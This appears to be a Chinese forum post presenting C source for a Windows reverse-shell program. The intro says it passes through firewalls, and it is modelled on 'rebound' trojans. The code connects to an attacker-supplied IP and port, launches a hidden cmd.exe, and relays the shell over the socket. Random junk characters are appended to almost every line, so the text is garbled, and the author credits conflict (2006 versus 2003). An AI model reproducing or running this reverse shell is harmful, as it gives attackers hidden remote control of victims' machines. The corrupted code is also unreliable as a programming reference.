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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 h]Gvt 5  
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/* ============================== BryD?/}P)M  
Rebound port in Windows NT 4 4WyfpTJ*  
By wind,2006/7 !,J] 5$M  
===============================*/ Iy4 RE P|  
#include kexvE 3  
#include ^7:UC\_  
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#pragma comment(lib,"wsock32.lib") ^%U`|GBZp  
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void OutputShell(); W:}t%agis  
SOCKET sClient; e?GzvM'2  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'RQEktm  
T&<ee|t@{  
void main(int argc,char **argv) *m'&<pg]X  
{ P|;v>  
WSADATA stWsaData; j0=H6Y  
int nRet; ]4FAbY2'h  
SOCKADDR_IN stSaiClient,stSaiServer; 7PO]\X^(zE  
W6u(+P]("  
if(argc != 3) UnZc9 6  
{ &TN.6Hm3  
printf("Useage:\n\rRebound DestIP DestPort\n"); --vJR/-  
return; G2=d q  
} ')WS :\J  
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WSAStartup(MAKEWORD(2,2),&stWsaData); uy|]@|J  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I5Rd~-="G  
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stSaiClient.sin_family = AF_INET; [E9_ZdB T  
stSaiClient.sin_port = htons(0); gU@R   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); oRmA\R*  
<yw=+hz[u  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *M$$%G(4  
{ T IyHM1+  
printf("Bind Socket Failed!\n"); >5t]Zlb`  
return; W7\UZPs5t  
} m9ky?A,  
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stSaiServer.sin_family = AF_INET; 'SWK{t \4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); WjvgDNk  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hu~XFRw15  
Rf{YASPIw&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "(p&Oz  
{ Saks~m7,  
printf("Connect Error!"); 6ziBGU#.-  
return; 2FN#63  
} QghL=  
OutputShell(); @Fb 2c0?Y  
} D@ BP<   
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void OutputShell() cfc=a  
{ (w%9?y4Q  
char szBuff[1024]; U@LIw6B!KL  
SECURITY_ATTRIBUTES stSecurityAttributes; #0Z%4WQ  
OSVERSIONINFO stOsversionInfo; q9nQ/]rkHF  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `pd+as  
STARTUPINFO stStartupInfo; ,,h>_IA  
char *szShell; #*"I?B/fd8  
PROCESS_INFORMATION stProcessInformation; c:-n0m'i  
unsigned long lBytesRead; 3AcDW6x|  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); lQVK~8t3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ge*N%=MX 8  
stSecurityAttributes.lpSecurityDescriptor = 0; #\6k_toZ  
stSecurityAttributes.bInheritHandle = TRUE; e#ne5   
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uAV-wc  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); zHXb[$ Q  
~mT([V  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~@D{&7@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %)y-BdSp.  
stStartupInfo.wShowWindow = SW_HIDE; 7C~g?1  
stStartupInfo.hStdInput = hReadPipe; + $Lc'G+:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; n-CFB:L  
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GetVersionEx(&stOsversionInfo); =qww|B92  
hhJs$c(  
switch(stOsversionInfo.dwPlatformId) "X-"uIc  
{ (_Rl f$D  
case 1: H  `_{n<  
szShell = "command.com"; if+97^Oy  
break; @.h;k4TD  
default: [:l=>yJ{(  
szShell = "cmd.exe"; s 5F?m  
break; F2',3  
} xepp."O  
@zig{b8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); YvFt*t  
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send(sClient,szMsg,77,0); DhiIKd9W  
while(1) f<Y g_TG  
{ =la~D]T*g  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); DxG8`}+  
if(lBytesRead) dz )(~@tgz  
{ W9jxw4)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'I@l$H  
send(sClient,szBuff,lBytesRead,0); N?c!uO|h|  
} >'&|{s[m  
else P:m6:F@hO  
{ \C"hL(4-  
lBytesRead=recv(sClient,szBuff,1024,0); A 7zL\U4  
if(lBytesRead<=0) break; evz@c)8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); J QA]O/|N  
} XK/bE35%^!  
} rpv<'$6  
lT;uL~j  
return; Vv*](iM  
}
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